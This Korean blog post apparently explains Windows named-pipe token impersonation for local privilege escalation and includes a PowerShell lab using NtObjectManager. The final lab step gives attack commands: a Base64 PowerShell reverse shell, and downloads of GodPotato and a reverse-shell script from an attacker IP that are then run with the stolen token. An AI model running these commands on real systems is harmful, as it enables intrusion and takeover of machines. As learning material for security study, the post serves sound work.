Named Pipe Impersonate

■ Pipe : 프로세스간 IPS 통신수단의 일종
서버가 명명된 파이프를 생성하면 클라이언트는 파이프의 이름을 지정하여 프로세스간 통신 시작

■ 공격 조건 :

  • 취약한 API(CreateFile)를 가지고 있는 프로세스(프로그램) 존재
    or
  • 공격자 계정이 SeImpersonatePrivilege 권한을 보유

■ 공격 원리 :

  • 공격자(서버) : 명명된 파이프 생성
  • 타겟(클라이언트) : 취약한 API(CreateFile)를 가지고 있는 프로세스(프로그램)

클라이언트가 서버 파이프에 접속할 때 사용하는 “CreateFile” API 에 “SecurityImpersonation | SecurityDelegation” 파라미터가
설정되어 있다면, 서버는 클라이언트의 access token 을 Impersonation token으로 위임받을 수 있고 클라이언트의 권한으로 가장이 가능함. 획득한 impersonate token 을 본인의 Primary Token으로 복제하여 시스템 권한 상승(LPE) 가능함.
1. 공격자는 명명된 파이프를 생성하고
2. NETWORK SERVER / SYSTEM 권한으로 실행되는 프로그램이 공격자의 파이프 서버로 접속하도록 하는 악성 페이로드 작성
3. 공격자는 해당 프로그램의 Impersonation Token 획득 후 권한 상승 성공

※ Impersonation token : Windows 의 모든 프로세스는 Access Token 을 가지고 있음. 프로세스의 고유 Access Token 은 Primay Token 이며 프로세스가 종료될때까지 변하지 않음. 프로세스 하위에 생성된 쓰레드는 Primary token, Impersonation Token 두가지를 가질 수 있는데, Impersonation Token 은 타 프로세스 참조를 위해 그 프로세스의 Access Token을 위임받아 사용하는 것임.
조건 : 공격자 계정이 SeImpersonatePrivilege 권한을 보유 or 타 프로세스에서 “SecurityImpersonation | SecurityDelegation” 허용 (파라미터 설정)이 필요함

※ 명명된 파이프 서버 쓰레드는 “ImpersonateNamedPipeClient” 함수를 실행하여 클라이언트 Access Token을 Impersonation Token으로 가장

■ 실습
원리 : NT Authority\SYSTEM(파이프 클라이언트)으로 실행되는 Windows 서비스를 생성하고 악성 페이로드(파이프 서버)가 생성한 명명된 파이프에 연결하는 것입니다.

Install NtObjectManager module
Import-Module NtObjectManager -Force
1) 명명된 파이프 생성

$pipe = New-NtNamedPipeFile \.\pipe\ABC -Win32Path

2) 파이프 리스닝 상태로 설정

$job = Start-Job { $pipe.Listen() }

3) 로컬호스트 경로로 파이프의 핸들에 연결 (UNC 경로(네트워크 경로)는 사용할 수 없음)

$client = Get-NtFile \localhost\pipe\ABC -Win32Path

4) 작업 완료 대기

Wait-Job $job | Out-Null

5) Impersonate and extract the diff session token

$token = Use-NtObject($pipe.Impersonate()) { Get-NtToken -Impersonation }

6) Display the privileges from the new session token

$token.Privileges

7-1) With that impersonation token in hand, spawn a new process

New-Win32Process -CommandLine ‘cmd.exe /c whoami /priv 2>&1 > /programdata/output.txt’ -token $token

7-2) With that impersonation token in hand, Excute Reverse shell

//PowerShell Base64 reverse shell
New-Win32Process -CommandLine “powershell -e JABj…” -Token $token -CreationFlags NewConsole
//Use GodPhotato : https://github.com/BeichenDream/GodPotato
iwr http://10.10.14.16/GodPotato-NET4.exe -outfile gp.exe //upload GodPhotato
iwr http://10.10.14.16/shell.ps1 -outfile shell.ps1 //upload PowerShell Reverse Shell
New-Win32Process -Commandline ‘C:\programdata\gp.exe -cmd “powershell C:\programdata\shell.ps1 2>&1″‘ -token $token

참고 링크

  • https://bherunda.medium.com/hunting-named-pipe-token-impersonation-abuse-573dcca36ae0
  • https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
  • https://www.revshells.com/

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤